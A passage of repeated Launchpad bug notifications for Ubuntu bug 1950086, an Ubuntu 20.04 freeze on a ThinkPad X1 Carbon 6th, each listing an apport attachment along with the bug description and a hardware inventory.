Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] ProcModules.txt
apport information ** Attachment added: "ProcModules.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538896/+files/ProcModules.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] ProcCpuinfoMinimal.txt
apport information ** Attachment added: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538894/+files/ProcCpuinfoMinimal.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] CRDA.txt
apport information ** Attachment added: "CRDA.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538886/+files/CRDA.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1 power
[Kernel-packages] [Bug 1950086] PulseList.txt
apport information ** Attachment added: "PulseList.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538897/+files/PulseList.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] Lspci.txt
apport information ** Attachment added: "Lspci.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538889/+files/Lspci.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1 power
[Kernel-packages] [Bug 1950086] IwConfig.txt
apport information ** Attachment added: "IwConfig.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/553/+files/IwConfig.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] Lspci-vt.txt
apport information ** Attachment added: "Lspci-vt.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538890/+files/Lspci-vt.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] CurrentDmesg.txt
apport information ** Attachment added: "CurrentDmesg.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538887/+files/CurrentDmesg.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] ProcInterrupts.txt
apport information ** Attachment added: "ProcInterrupts.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538895/+files/ProcInterrupts.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC 